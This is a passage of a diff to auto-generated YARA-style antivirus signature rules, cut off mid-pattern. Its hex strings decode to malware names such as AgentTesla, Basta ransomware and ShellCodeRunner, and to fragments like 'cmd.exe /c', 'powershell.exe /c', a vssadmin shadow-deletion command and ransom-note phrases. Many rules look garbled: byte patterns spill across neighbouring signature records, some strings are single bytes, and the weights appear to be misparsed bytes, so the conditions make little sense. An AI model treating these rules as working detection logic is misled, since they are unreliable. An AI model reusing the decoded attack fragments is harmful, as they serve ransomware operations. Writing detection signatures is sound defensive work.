1)*29801+(#a_00_4 & 1)*47+(#a_00_6 & 1)*120+(#a_e9_7 & 1)*3149+(#a_50_8 & 1)*17545+(#a_24_9 & 1)*17412) >=18 } -rule _InfrastructureShared_16218{ +rule _InfrastructureShared_17284{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,2b 00 2a 00 05 00 21 " @@ -190259,12 +203001,34 @@ rule _InfrastructureShared_16218{ $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 52 45 6e 74 53 2e 53 49 42 47 21 4d 54 42 00 01 00 46 00 68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 32 00 31 00 32 00 2e 00 38 00 30 00 2e 00 32 00 31 00 38 00 2e 00 32 00 33 00 30 00 2f 00 } //16675 $a_00_1 = {6f 00 67 00 6c 00 65 00 6d 00 61 00 70 00 2e 00 65 00 78 00 65 00 01 00 22 00 25 00 50 00 72 00 6f 00 67 00 72 00 61 00 6d 00 44 00 61 00 74 00 61 00 25 00 5c 00 41 00 56 00 47 00 01 00 1c 00 41 00 56 00 41 00 53 00 54 00 20 00 53 00 6f 00 66 00 74 00 77 00 61 00 72 00 65 00 14 00 0f 01 64 a1 30 00 00 00 8b 40 68 c1 e8 08 a8 01 75 } //103 $a_03_2 = {50 53 51 56 8b 75 08 8b 4d 0c c1 e9 ?? 8b 45 10 8b 5d 14 85 c9 74 ?? 31 06 01 1e 83 c6 ?? 49 90 18 85 c9 90 18 5e 59 5b 58 } //20 - $a_03_3 = {01 00 01 00 01 00 05 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4b 6f 76 74 65 72 5f 44 65 63 72 79 70 74 00 01 00 1f 00 8d 5c 01 01 0f af c6 99 f7 fb 8b 55 08 30 04 11 3b ce 7c 0b 8b c1 0f af c7 40 0f af c6 eb 08 01 00 28 00 8b 5d f4 8b 55 10 0f af fb 0f af fa 8d 04 12 8b f7 2b f0 0f af 75 f8 0f af f2 2b de 8b 75 f0 03 75 08 2b d9 8a 06 32 } //0 + $a_02_3 = {01 00 4b 00 4b 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 53 68 65 6c 6c 43 6f 64 65 52 75 6e 6e 65 72 2e 4d 52 21 4d 54 42 00 32 00 50 03 44 33 46 10 44 33 76 04 44 33 7e 08 33 0e 44 33 66 0c 48 83 c6 14 41 8b f8 45 8b d6 4c 8d 35 7d a1 ed ff 44 8b c9 45 8b df 41 8b dc 8b c1 48 c1 e8 10 0f b6 d0 8b c1 48 c1 e8 08 0f b6 c8 41 8b c1 45 } //0 + $a_04_4 = {16 } //-28533 condition: - ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*103+(#a_03_2 & 1)*20+(#a_03_3 & 1)*0) >=42 + ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*103+(#a_03_2 & 1)*20+(#a_02_3 & 1)*0+(#a_04_4 & 1)*-28533) >=42 } -rule _InfrastructureShared_16219{ +rule _InfrastructureShared_17285{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,4b 00 4b 00 02 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 53 68 65 6c 6c 43 6f 64 65 52 75 6e 6e 65 72 2e 4d 52 21 4d 54 42 00 32 00 50 03 44 33 46 10 44 33 76 04 44 33 7e 08 33 0e 44 33 66 0c 48 83 c6 14 41 8b f8 45 8b d6 4c } //21539 + $a_a1_1 = {ff 44 8b c9 45 8b df 41 8b dc 8b c1 48 c1 e8 10 0f b6 d0 8b c1 48 c1 e8 08 0f b6 c8 41 8b c1 45 8b 90 01 04 16 00 48 c1 e8 18 45 33 90 00 19 00 78 03 48 83 ec 60 48 8b 05 a3 8c 12 00 48 33 c4 48 89 44 24 50 33 c0 33 c9 0f a2 4c 8d 44 24 40 41 89 00 41 89 58 04 41 89 48 08 41 89 50 0c b8 90 01 04 48 6b c0 00 8b 90 01 04 44 24 24 b8 04 00 00 00 48 6b c0 01 8b 90 01 04 47 65 } //13709 + condition: + ((#a_4c_0 & 1)*21539+(#a_a1_1 & 1)*13709) >=75 + +} +rule _InfrastructureShared_17286{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_54_0 = {3a 41 67 65 6e 74 54 65 73 6c 61 2e 48 41 21 4d 54 42 00 01 00 de 03 00 43 00 6f 00 6d 00 70 00 61 00 6e 00 79 00 4e 00 61 00 6d 00 65 00 00 00 00 00 00 00 00 00 90 01 02 09 00 01 00 46 00 69 00 6c 00 65 00 44 00 65 00 73 00 63 00 72 00 69 00 70 00 } //18467 + condition: + ((#a_54_0 & 1)*18467) >=1 + +} +rule _InfrastructureShared_17287{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 05 00 21 " @@ -190277,7 +203041,7 @@ rule _InfrastructureShared_16219{ ((#a_4c_0 & 1)*21539+(#a_10_1 & 1)*-29708+(#a_8b_2 & 1)*7204+(#a_00_4 & 1)*888) >=1 } -rule _InfrastructureShared_16220{ +rule _InfrastructureShared_17288{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -190287,7 +203051,7 @@ rule _InfrastructureShared_16220{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_16221{ +rule _InfrastructureShared_17289{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " @@ -190298,7 +203062,7 @@ rule _InfrastructureShared_16221{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*99) >=2 } -rule _InfrastructureShared_16222{ +rule _InfrastructureShared_17290{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 07 00 21 " @@ -190313,7 +203077,7 @@ rule _InfrastructureShared_16222{ ((#a_77_0 & 1)*19491+(#a_01_1 & 1)*25974+(#a_2e_2 & 1)*25972+(#a_00_3 & 1)*114+(#a_00_5 & 1)*105+(#a_03_6 & 1)*1) >=2 } -rule _InfrastructureShared_16223{ +rule _InfrastructureShared_17291{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -190325,7 +203089,7 @@ rule _InfrastructureShared_16223{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*47+(#a_03_2 & 1)*1) >=3 } -rule _InfrastructureShared_16224{ +rule _InfrastructureShared_17292{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -190335,7 +203099,7 @@ rule _InfrastructureShared_16224{ ((#a_54_0 & 1)*18467) >=3 } -rule _InfrastructureShared_16225{ +rule _InfrastructureShared_17293{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -190347,7 +203111,7 @@ rule _InfrastructureShared_16225{ ((#a_77_0 & 1)*19491+(#a_00_1 & 1)*45+(#a_00_2 & 1)*115) >=3 } -rule _InfrastructureShared_16226{ +rule _InfrastructureShared_17294{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 05 00 21 " @@ -190360,7 +203124,7 @@ rule _InfrastructureShared_16226{ ((#a_4c_0 & 1)*21539+(#a_20_1 & 1)*10843+(#a_61_2 & 1)*15392+(#a_48_4 & 1)*8448) >=3 } -rule _InfrastructureShared_16227{ +rule _InfrastructureShared_17295{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -190371,7 +203135,7 @@ rule _InfrastructureShared_16227{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*19200) >=4 } -rule _InfrastructureShared_16228{ +rule _InfrastructureShared_17296{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -190384,7 +203148,7 @@ rule _InfrastructureShared_16228{ ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*2577+(#a_2d_2 & 1)*4364+(#a_38_3 & 1)*385) >=4 } -rule _InfrastructureShared_16229{ +rule _InfrastructureShared_17297{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -190394,7 +203158,7 @@ rule _InfrastructureShared_16229{ ((#a_54_0 & 1)*18467) >=4 } -rule _InfrastructureShared_16230{ +rule _InfrastructureShared_17298{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -190407,7 +203171,7 @@ rule _InfrastructureShared_16230{ ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*5663+(#a_6c_2 & 1)*19713+(#a_8b_3 & 1)*24661) >=4 } -rule _InfrastructureShared_16231{ +rule _InfrastructureShared_17299{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -190419,7 +203183,7 @@ rule _InfrastructureShared_16231{ ((#a_4c_0 & 1)*21539+(#a_c7_2 & 1)*0+(#a_ff_3 & 1)*-17696) >=4 } -rule _InfrastructureShared_16232{ +rule _InfrastructureShared_17300{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 21 " @@ -190430,7 +203194,7 @@ rule _InfrastructureShared_16232{ ((#a_54_0 & 1)*18467+(#a_90_1 & 1)*1024) >=5 } -rule _InfrastructureShared_16233{ +rule _InfrastructureShared_17301{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -190441,7 +203205,7 @@ rule _InfrastructureShared_16233{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*0) >=5 } -rule _InfrastructureShared_16234{ +rule _InfrastructureShared_17302{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 06 00 21 " @@ -190456,7 +203220,7 @@ rule _InfrastructureShared_16234{ ((#a_46_0 & 1)*16675+(#a_80_1 & 1)*1+(#a_80_2 & 1)*1+(#a_80_3 & 1)*1+(#a_80_4 & 1)*1+(#a_80_5 & 1)*1) >=5 } -rule _InfrastructureShared_16235{ +rule _InfrastructureShared_17303{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 06 00 21 " @@ -190471,7 +203235,7 @@ rule _InfrastructureShared_16235{ ((#a_46_0 & 1)*16675+(#a_20_1 & 1)*29558+(#a_70_2 & 1)*28515+(#a_00_3 & 1)*6+(#a_49_4 & 1)*19770+(#a_01_5 & 1)*1) >=5 } -rule _InfrastructureShared_16236{ +rule _InfrastructureShared_17304{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -190486,7 +203250,7 @@ rule _InfrastructureShared_16236{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*29301+(#a_73_2 & 1)*25458+(#a_00_3 & 1)*21581+(#a_04_4 & 1)*2560+(#a_01_5 & 1)*28425) >=6 } -rule _InfrastructureShared_16237{ +rule _InfrastructureShared_17305{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -190500,7 +203264,7 @@ rule _InfrastructureShared_16237{ ((#a_54_0 & 1)*18467+(#a_04_1 & 1)*-28561+(#a_90_2 & 1)*5640+(#a_39_4 & 1)*4352+(#a_01_5 & 1)*28420) >=6 } -rule _InfrastructureShared_16238{ +rule _InfrastructureShared_17306{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -190515,7 +203279,7 @@ rule _InfrastructureShared_16238{ ((#a_54_0 & 1)*18467+(#a_67_1 & 1)*24929+(#a_61_2 & 1)*23553+(#a_52_3 & 1)*11890+(#a_6c_4 & 1)*25972+(#a_47_5 & 1)*19713) >=6 } -rule _InfrastructureShared_16239{ +rule _InfrastructureShared_17307{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -190530,7 +203294,7 @@ rule _InfrastructureShared_16239{ ((#a_54_0 & 1)*18467+(#a_55_1 & 1)*24940+(#a_64_2 & 1)*21792+(#a_73_3 & 1)*26988+(#a_01_4 & 1)*25701+(#a_68_5 & 1)*8248) >=6 } -rule _InfrastructureShared_16240{ +rule _InfrastructureShared_17308{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 07 00 21 " @@ -190546,7 +203310,7 @@ rule _InfrastructureShared_16240{ ((#a_46_0 & 1)*16675+(#a_69_1 & 1)*29541+(#a_6c_2 & 1)*15726+(#a_3d_3 & 1)*29728+(#a_61_4 & 1)*29550+(#a_61_5 & 1)*29550+(#a_00_6 & 1)*12147) >=6 } -rule _InfrastructureShared_16241{ +rule _InfrastructureShared_17309{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 09 00 21 " @@ -190554,17 +203318,17 @@ rule _InfrastructureShared_16241{ $a_46_0 = {50 55 41 42 75 6e 64 6c 65 72 3a 57 69 6e 33 32 2f 43 61 6e 64 79 4f 70 65 6e 2e 48 4d 52 32 00 01 00 0b 80 01 41 73 6b 20 54 6f 6f 6c 62 61 72 01 00 0f 80 01 41 73 6b 20 54 6f 6f 6c 62 61 72 2e 6d 73 69 01 00 21 80 01 41 73 6b } //16675 $a_6f_1 = {62 61 72 20 4f 70 74 69 6f 6e 61 6c 20 49 6e 73 74 61 6c 6c 61 74 69 6f 6e 01 00 24 80 01 2f 2f 64 6c 2e 66 72 6f 73 74 77 69 72 65 2e 63 6f 6d 2f 66 72 6f 73 74 77 69 72 65 2f 6f 63 2e 63 6f 6e 66 01 00 0b 80 01 4b 69 6c 6c 50 72 6f 63 65 73 73 01 00 19 80 01 5c 4f 70 65 6e 43 61 6e 64 79 5c 4f 43 53 65 74 75 70 48 6c 70 2e 64 6c } //21536 $a_0a_2 = {80 01 55 6e 69 6e 73 74 2e 65 78 65 9c ff 0f 80 01 55 6e 69 6e 73 74 61 6c 6c 65 72 2e 65 78 65 9c ff 0c 80 01 55 6e 69 6e 73 74 61 6c 2e 65 78 65 00 00 78 03 01 00 08 00 08 00 08 00 21 23 41 4c 46 3a 42 61 63 6b 64 6f 6f 72 3a 57 69 6e 33 32 2f 4b 75 72 6f 73 61 6b 69 2e 41 21 4d 54 42 00 01 00 0a 01 63 6d 64 2e 65 78 65 20 2f 63 01 00 11 01 70 6f 77 65 72 73 68 65 6c 6c 2e 65 78 65 20 2f 63 01 00 07 01 2f 74 61 73 6b 73 2f 01 00 09 01 2f 72 65 73 75 6c 74 73 2f 01 00 04 01 2f 72 65 67 01 00 10 03 72 65 6e 61 6d 65 90 02 10 73 68 65 6c 6c 90 00 02 00 3a 03 8b cc 89 a5 90 02 04 ba 54 85 40 00 50 e8 90 02 04 83 ec 14 c6 45 fc 08 8b cc 89 a5 90 02 04 6a 04 68 5c 85 40 00 c7 41 10 00 00 00 00 c7 41 14 0f 00 00 00 c6 01 00 e8 90 00 02 00 3e 03 48 89 44 24 50 } //-25492 - $a_01_3 = {05 48 8d 90 01 05 48 8d 90 01 05 e8 90 01 04 48 8b f0 4c 89 7d 00 48 c7 45 08 0f 00 00 00 c6 45 f0 00 41 b8 04 00 00 00 48 8d 90 01 05 48 8d 90 02 05 e8 90 00 00 00 78 03 01 00 09 00 09 00 09 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 4d 30 36 31 32 32 32 21 4d 54 42 00 01 00 09 81 01 47 65 74 44 6f 6d 61 69 6e 01 00 09 81 01 41 70 70 44 6f 6d 61 69 6e 01 00 10 81 01 47 65 74 } //-29364 - $a_6f_4 = {74 65 64 54 79 70 65 73 01 00 25 81 01 24 63 66 64 37 63 34 38 37 2d 37 61 31 31 2d 34 34 62 36 2d 62 39 64 39 2d 34 34 30 64 61 62 35 65 62 38 31 32 01 00 06 81 01 53 75 64 6f 6b 75 01 00 11 81 01 66 72 6d 50 75 7a 7a 6c 65 53 6f 6c 75 74 69 6f 6e 01 00 14 81 01 4d 61 67 6e 61 2e 49 55 59 48 47 42 46 44 53 55 59 47 46 56 01 00 17 81 } //30789 - $a_76_5 = {44 61 74 61 5c 73 75 64 6f 6b 75 46 69 6c 65 2e 74 78 74 01 00 1a 81 01 4d 61 67 6e 61 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 00 00 78 03 01 00 0a 00 0a 00 08 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 54 6e 65 67 61 2e 50 41 41 4a 21 4d 54 42 00 01 } //29441 - $a_01_6 = {46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 01 00 09 81 01 52 65 61 64 54 6f 45 6e 64 01 00 07 81 01 52 65 70 6c 61 63 65 02 00 11 81 01 44 65 62 75 67 67 65 72 20 44 65 74 65 63 74 65 64 01 00 0e 81 01 48 74 74 70 57 65 62 52 65 71 75 65 73 74 01 00 1a 81 01 44 44 44 48 4a 59 55 54 59 45 2e 46 6f 72 6d 31 2e 72 65 73 6f 75 72 63 65 73 01 00 33 81 01 61 52 33 6e 62 66 38 64 51 70 } //4096 - $a_4c_7 = {6b 33 31 2e 6c 53 66 67 41 70 61 74 6b 64 78 73 56 63 47 63 72 6b 74 6f 46 64 2e 72 65 73 6f 75 72 63 65 73 02 00 25 81 01 24 32 36 64 37 35 36 34 63 2d 31 36 65 66 2d 34 66 61 61 2d 38 64 30 64 2d 30 33 34 38 31 63 30 37 65 30 30 37 00 00 78 03 01 00 0a 00 0a 00 0a 00 21 23 48 53 54 52 3a 54 72 6f 6a } //26162 - $a_4d_8 = {49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 4d 57 30 30 32 21 4d 54 42 00 01 00 0b 81 01 45 78 69 6c 65 4c 6f 61 64 65 72 01 00 25 81 01 24 38 31 32 33 65 64 33 34 2d 30 } //28257 + $a_01_3 = {05 48 8d 90 01 05 48 8d 90 01 05 e8 90 01 04 48 8b f0 4c 89 7d 00 48 c7 45 08 0f 00 00 00 c6 45 f0 00 41 b8 04 00 00 00 48 8d 90 01 05 48 8d 90 02 05 e8 90 00 00 00 78 03 01 00 08 00 08 00 08 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4c 4f 5a 30 31 21 4d 54 42 00 01 00 15 81 01 77 69 65 6e 65 72 73 6e 69 74 73 6c 65 72 6e 65 73 2e 6a 70 67 01 00 15 81 01 4f 76 65 72 63 6f 70 69 6f 75 73 6e 65 73 73 38 } //-29364 + $a_61_4 = {01 00 15 81 01 61 6b 6b 75 73 61 74 69 76 6f 62 6a 65 6b 74 65 74 2e 74 78 74 01 00 10 81 01 43 68 65 72 75 62 69 6d 69 63 61 6c 2e 69 6e 69 01 00 23 81 01 61 72 74 69 6b 75 6c 61 74 6f 72 69 73 6b 20 65 6d 70 68 79 74 65 75 74 69 63 20 70 6c 61 74 69 6e 65 72 01 00 1b 81 01 73 67 65 6b 72 69 74 65 72 69 65 72 6e 65 20 6e 64 62 6c 75 73 20 68 65 } //11832 + $a_01_5 = {00 1c 81 01 6d 65 6a 73 6c 69 6e 67 65 72 73 20 76 72 6e 65 74 69 6e 67 65 6e 65 73 2e 65 78 65 01 00 0a 81 01 6d 79 72 65 72 73 2e 73 79 6e 00 00 78 03 01 00 09 00 09 00 09 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 4d 30 36 31 32 32 32 21 4d 54 42 00 01 00 09 81 01 47 65 74 44 6f 6d 61 } //25975 + $a_00_6 = {09 } //28265 + $a_70_7 = {44 6f 6d 61 69 6e 01 00 10 81 01 47 65 74 45 78 70 6f 72 74 65 64 54 79 70 65 73 01 00 25 81 01 24 63 66 64 37 63 34 38 37 2d 37 61 31 31 2d 34 34 62 36 2d 62 39 64 39 2d 34 34 30 64 61 62 35 65 } //385 + $a_32_8 = {00 06 81 01 53 75 64 6f 6b 75 01 00 11 81 01 66 72 6d 50 75 7a 7a 6c 65 53 6f 6c 75 74 69 6f 6e 01 00 14 81 01 4d 61 67 6e 61 2e 49 55 59 48 47 42 } //14434 condition: - ((#a_46_0 & 1)*16675+(#a_6f_1 & 1)*21536+(#a_0a_2 & 1)*-25492+(#a_01_3 & 1)*-29364+(#a_6f_4 & 1)*30789+(#a_76_5 & 1)*29441+(#a_01_6 & 1)*4096+(#a_4c_7 & 1)*26162+(#a_4d_8 & 1)*28257) >=6 + ((#a_46_0 & 1)*16675+(#a_6f_1 & 1)*21536+(#a_0a_2 & 1)*-25492+(#a_01_3 & 1)*-29364+(#a_61_4 & 1)*11832+(#a_01_5 & 1)*25975+(#a_00_6 & 1)*28265+(#a_70_7 & 1)*385+(#a_32_8 & 1)*14434) >=6 } -rule _InfrastructureShared_16242{ +rule _InfrastructureShared_17310{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -190575,13 +203339,30 @@ rule _InfrastructureShared_16242{ $a_03_3 = {72 65 6e 61 6d 65 [0-10] 73 68 65 6c 6c } //1 $a_03_4 = {8b cc 89 a5 [0-04] ba 54 85 40 00 50 e8 [0-04] 83 ec 14 c6 45 fc 08 8b cc 89 a5 [0-04] 6a 04 68 5c 85 40 00 c7 41 10 00 00 00 00 c7 41 14 0f 00 00 00 c6 01 00 e8 } //2 $a_03_5 = {48 89 44 24 50 4c 8d ?? ?? ?? ?? ?? 48 8d ?? ?? ?? ?? ?? 48 8d ?? ?? ?? ?? ?? e8 ?? ?? ?? ?? 48 8b f0 4c 89 7d 00 48 c7 45 08 0f 00 00 00 c6 45 f0 00 41 b8 04 00 00 00 48 8d ?? ?? ?? ?? ?? 48 8d [0-05] e8 } //2 - $a_03_6 = {01 00 09 00 09 00 09 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 4d 30 36 31 32 32 32 21 4d 54 42 00 01 00 09 81 01 47 65 74 44 6f 6d 61 69 6e 01 00 09 81 01 41 70 70 44 6f 6d 61 69 6e 01 00 10 81 01 47 65 74 45 78 70 6f 72 74 65 64 54 79 70 65 73 01 00 25 81 01 24 63 66 64 37 63 34 38 37 2d 37 61 31 31 2d } //0 - $a_36_7 = {62 39 64 39 2d 34 34 30 64 61 62 35 65 62 38 31 32 01 00 06 81 01 53 75 64 6f 6b 75 01 00 11 81 01 66 72 6d 50 75 7a 7a 6c 65 53 6f 6c 75 74 69 6f 6e 01 00 14 81 01 4d 61 67 6e 61 2e 49 55 59 48 47 42 46 44 53 55 59 47 46 56 01 00 17 81 01 73 61 76 65 44 61 74 61 5c 73 75 64 6f 6b 75 46 69 6c } //13364 + $a_03_6 = {01 00 08 00 08 00 08 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4c 4f 5a 30 31 21 4d 54 42 00 01 00 15 81 01 77 69 65 6e 65 72 73 6e 69 74 73 6c 65 72 6e 65 73 2e 6a 70 67 01 00 15 81 01 4f 76 65 72 63 6f 70 69 6f 75 73 6e 65 73 73 38 38 2e 74 61 72 01 00 15 81 01 61 6b 6b 75 73 61 74 69 76 6f 62 6a 65 6b 74 65 74 2e 74 78 74 01 00 } //0 + $a_43_7 = {65 } //-32496 e condition: - ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_03_3 & 1)*1+(#a_03_4 & 1)*2+(#a_03_5 & 1)*2+(#a_03_6 & 1)*0+(#a_36_7 & 1)*13364) >=8 + ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_03_3 & 1)*1+(#a_03_4 & 1)*2+(#a_03_5 & 1)*2+(#a_03_6 & 1)*0+(#a_43_7 & 1)*-32496) >=8 } -rule _InfrastructureShared_16243{ +rule _InfrastructureShared_17311{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4c 4f 5a 30 31 21 4d 54 42 00 01 00 15 81 01 77 69 65 6e 65 72 73 6e 69 74 73 6c 65 72 6e 65 73 2e 6a 70 67 01 00 15 81 01 4f 76 65 72 63 6f 70 69 6f 75 73 6e 65 73 73 38 38 2e 74 61 72 01 00 15 81 01 } //18467 + $a_75_1 = {61 74 69 76 6f 62 6a 65 6b 74 65 74 2e 74 78 74 01 00 10 81 01 43 68 65 72 75 62 69 6d 69 63 61 6c 2e 69 6e 69 01 00 23 81 01 61 72 74 69 6b 75 6c 61 74 6f 72 69 73 6b 20 65 6d 70 68 79 74 65 75 74 69 63 20 70 6c 61 74 69 6e 65 72 01 00 1b 81 01 73 67 65 6b 72 69 74 65 72 69 65 72 6e 65 20 6e 64 62 6c 75 73 20 68 65 77 } //27489 + $a_00_2 = {1c } //29285 + $a_65_3 = {73 6c 69 6e 67 65 72 73 20 76 72 6e 65 74 69 6e 67 65 6e 65 73 2e 65 78 65 01 00 0a 81 01 6d 79 72 65 72 73 2e 73 79 6e 00 00 78 03 01 00 09 00 09 00 09 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 4d 30 36 31 32 32 32 21 4d 54 42 00 01 00 09 81 01 47 65 74 44 6f 6d 61 69 6e } //385 + $a_81_4 = {41 70 70 44 6f 6d 61 69 6e } //1 AppDomain + $a_81_5 = {47 65 74 45 78 70 6f 72 74 65 64 54 79 70 65 73 } //1 GetExportedTypes + $a_81_6 = {24 63 66 64 37 63 34 38 37 2d 37 61 31 31 2d 34 34 62 36 2d 62 39 64 39 2d 34 34 30 64 61 62 35 65 62 38 31 32 } //1 $cfd7c487-7a11-44b6-b9d9-440dab5eb812 + $a_81_7 = {53 75 64 6f 6b 75 } //1 Sudoku + condition: + ((#a_54_0 & 1)*18467+(#a_75_1 & 1)*27489+(#a_00_2 & 1)*29285+(#a_65_3 & 1)*385+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1+(#a_81_6 & 1)*1+(#a_81_7 & 1)*1) >=8 + +} +rule _InfrastructureShared_17312{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -190597,7 +203378,7 @@ rule _InfrastructureShared_16243{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*25968+(#a_75_2 & 1)*28516+(#a_52_3 & 1)*-32503+(#a_45_4 & 1)*21604+(#a_70_5 & 1)*26470+(#a_00_7 & 1)*888) >=9 } -rule _InfrastructureShared_16244{ +rule _InfrastructureShared_17313{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 08 00 21 " @@ -190614,7 +203395,7 @@ rule _InfrastructureShared_16244{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*26485+(#a_72_2 & 1)*25670+(#a_00_3 & 1)*12336+(#a_45_4 & 1)*-32501+(#a_6f_5 & 1)*25964+(#a_00_6 & 1)*26478+(#a_61_7 & 1)*385) >=10 } -rule _InfrastructureShared_16245{ +rule _InfrastructureShared_17314{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -190626,14 +203407,13 @@ rule _InfrastructureShared_16245{ $a_6f_4 = {45 6e 74 72 79 01 00 0c 80 01 67 65 74 5f 53 41 44 58 48 49 4a 55 01 00 13 80 01 67 65 74 5f 52 65 73 74 72 69 63 74 65 64 45 72 72 6f 72 01 00 13 80 01 67 65 74 5f 56 61 6c 75 65 45 6e 75 6d 65 72 61 74 6f 72 01 00 0f 80 01 67 65 74 5f 4d 61 69 6e 44 6f 6d 61 69 6e 73 01 00 05 80 01 73 73 73 73 63 01 00 1a 80 01 } //29795 $a_4d_5 = {72 6b 65 74 44 61 74 61 52 65 74 72 69 76 65 72 2e 4d 44 58 73 01 00 10 80 01 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 00 00 78 03 01 00 0a 00 0a 00 0c 00 21 23 53 4c 46 3a 52 61 6e 73 6f 6d 3a 57 69 6e 33 32 2f 42 61 73 74 61 2e 42 00 02 00 0c 01 2e 00 62 00 61 00 73 00 74 00 61 00 02 00 1b 00 76 73 73 61 64 6d 69 6e 2e } //26967 $a_20_6 = {65 6c 65 74 65 20 73 68 61 64 6f 77 73 01 00 06 01 46 00 61 00 78 00 01 00 06 00 73 74 6f 6c 65 6e 01 00 09 00 65 6e 63 72 79 70 74 65 64 01 00 0a 00 45 4e 43 52 59 50 54 49 4f 4e 01 00 16 00 64 61 74 61 20 77 69 6c 6c 20 62 65 20 70 75 62 6c 69 73 68 65 64 01 00 0e 00 70 61 79 20 74 68 65 20 72 61 6e } //30821 - $a_01_7 = {00 0a 00 63 6f 6e 74 61 63 74 20 75 73 01 00 0b 00 54 4f 52 20 62 72 6f 77 73 65 72 01 00 10 00 64 65 63 72 79 70 74 20 6f 6e 65 20 66 69 6c 65 01 00 21 00 62 63 64 65 